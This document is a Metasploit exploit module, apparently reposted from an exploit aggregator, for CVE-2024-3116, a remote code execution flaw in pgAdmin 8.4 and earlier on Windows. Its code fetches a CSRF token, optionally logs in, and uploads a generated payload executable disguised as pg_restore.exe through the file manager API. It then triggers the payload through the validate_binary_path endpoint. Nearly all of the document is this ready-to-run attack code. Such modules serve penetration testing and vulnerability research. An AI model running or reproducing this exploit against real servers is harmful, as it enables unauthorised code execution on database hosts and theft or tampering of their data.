Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-WINDOWS-HTTP-PGADMIN_BINARY_PATH_API-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'pgAdmin Binary Path API RCE',
        'Description' => %q{
          pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE)
          vulnerability through the validate binary path API. This vulnerability
          allows attackers to execute arbitrary code on the server hosting PGAdmin,
          posing a severe risk to the database management system's integrity and the security of the underlying data.

          Tested on pgAdmin 8.4 on Windows 10 both authenticated and unauthenticated.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'M.Selim Karahan', # metasploit module
          'Mustafa Mutlu', # lab prep. and QA
          'Ayoub Mokhtar' # vulnerability discovery and write up
        ],
        'References' => [
          [ 'CVE', '2024-3116'],
          [ 'URL', 'https://ayoubmokhtar.com/post/remote_code_execution_pgadmin_8.4-cve-2024-3116/'],
          [ 'URL', 'https://www.vicarius.io/vsociety/posts/remote-code-execution-vulnerability-in-pgadmin-cve-2024-3116']
        ],
        'Platform' => ['windows'],
        'Arch' => ARCH_X64,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2024-03-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'Reliability' => [ REPEATABLE_SESSION, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(8000),
        OptString.new('USERNAME', [ false, 'User to login with', '']),
        OptString.new('PASSWORD', [ false, 'Password to login with', '']),
        OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/'])
      ]
    )
  end

  def check
    version = get_version
    return CheckCode::Unknown('Unable to determine the target version') unless version
    return CheckCode::Safe("pgAdmin version #{version} is not affected") if version >= Rex::Version.new('8.5')

    CheckCode::Vulnerable("pgAdmin version #{version} is affected")
  end

  def set_csrf_token_from_login_page(res)
    if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/
      @csrf_token = Regexp.last_match(1)
      # at some point between v7.0 and 7.7 the token format changed
    elsif (element = res.get_html_document.xpath("//input[@id='csrf_token']")&.first)
      @csrf_token = element['value']
    end
  end

  def set_csrf_token_from_config(res)
    if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/
      @csrf_token = Regexp.last_match(1)
      # at some point between v7.0 and 7.7 the token format changed
    else
      @csrf_token = res.body.scan(/pgAdmin\['csrf_token'\]\s*=\s*'([^']+)'/)&.flatten&.first
    end
  end

  def auth_required?
    res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'keep_cookies' => true)
    if res&.code == 302 && res.headers['Location']['login']
      true
    elsif res&.code == 302 && res.headers['Location']['browser']
      false
    end
  end

  def on_windows?
    res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/js/utils.js'), 'keep_cookies' => true)
    if res&.code == 200
      platform = res.body.scan(/pgAdmin\['platform'\]\s*=\s*'([^']+)';/)&.flatten&.first
      return platform == 'win32'
    end
  end

  def get_version
    if auth_required?
      res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)
    else
      res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/'), 'keep_cookies' => true)
    end
    html_document = res&.get_html_document
    return unless html_document && html_document.xpath('//title').text == 'pgAdmin 4'

    # there's multiple links in the HTML that expose the version number in the [X]XYYZZ,
    # see: https://github.com/pgadmin-org/pgadmin4/blob/053b1e3d693db987d1c947e1cb34daf842e387b7/web/version.py#L27
    versioned_link = html_document.xpath('//link').find { |link| link['href'] =~ /\?ver=(\d?\d)(\d\d)(\d\d)/ }
    return unless versioned_link

    Rex::Version.new("#{Regexp.last_match(1).to_i}.#{Regexp.last_match(2).to_i}.#{Regexp.last_match(3).to_i}")
  end

  def csrf_token
    return @csrf_token if @csrf_token

    if auth_required?
      res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)
      set_csrf_token_from_login_page(res)
    else
      res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/js/utils.js'), 'keep_cookies' => true)
      set_csrf_token_from_config(res)
    end
    fail_with(Failure::UnexpectedReply, 'Failed to obtain the CSRF token') unless @csrf_token
    @csrf_token
  end

  def exploit
    if auth_required? && !(datastore['USERNAME'].present? && datastore['PASSWORD'].present?)
      fail_with(Failure::BadConfig, 'The application requires authentication, please provide valid credentials')
    end

    if auth_required?
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'authenticate/login'),
        'method' => 'POST',
        'keep_cookies' => true,
        'vars_post' => {
          'csrf_token' => csrf_token,
          'email' => datastore['USERNAME'],
          'password' => datastore['PASSWORD'],
          'language' => 'en',
          'internal_button' => 'Login'
        }
      })

      unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login')
        fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin')
      end

      print_status('Successfully authenticated to pgAdmin')
    end

    unless on_windows?
      fail_with(Failure::BadConfig, 'This exploit is specific to Windows targets!')
    end
    file_name = 'pg_restore.exe'
    file_manager_upload_and_trigger(file_name, generate_payload_exe)
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end

  # file manager code is copied from pgadmin_session_deserialization module

  def file_manager_init
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'file_manager/init'),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => 'application/json',
      'headers' => { 'X-pgA-CSRFToken' => csrf_token },
      'data' => {
        'dialog_type' => 'storage_dialog',
        'supported_types' => ['sql', 'csv', 'json', '*'],
        'dialog_title' => 'Storage Manager'
      }.to_json
    })

    unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId')) && (home_folder = res.get_json_document.dig('data', 'options', 'homedir'))
      fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction Id or home folder')
    end

    return trans_id, home_folder
  end

  def file_manager_upload_and_trigger(file_path, file_contents)
    trans_id, home_folder = file_manager_init

    form = Rex::MIME::Message.new
    form.add_part(
      file_contents,
      'application/octet-stream',
      'binary',
      "form-data; name=\"newfile\"; filename=\"#{file_path}\""
    )
    form.add_part('add', nil, nil, 'form-data; name="mode"')
    form.add_part(home_folder, nil, nil, 'form-data; name="currentpath"')
    form.add_part('my_storage', nil, nil, 'form-data; name="storage_folder"')

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => "multipart/form-data; boundary=#{form.bound}",
      'headers' => { 'X-pgA-CSRFToken' => csrf_token },
      'data' => form.to_s
    })
    unless res&.code == 200 && res.get_json_document['success'] == 1
      fail_with(Failure::UnexpectedReply, 'Failed to upload file contents')
    end

    upload_path = res.get_json_document.dig('data', 'result', 'Name')
    register_file_for_cleanup(upload_path)
    print_status("Payload uploaded to: #{upload_path}")

    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/misc/validate_binary_path'),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => 'application/json',
      'headers' => { 'X-pgA-CSRFToken' => csrf_token },
      'data' => {
        'utility_path' => upload_path[0..upload_path.size - 16]
      }.to_json
    })

    true
  end

end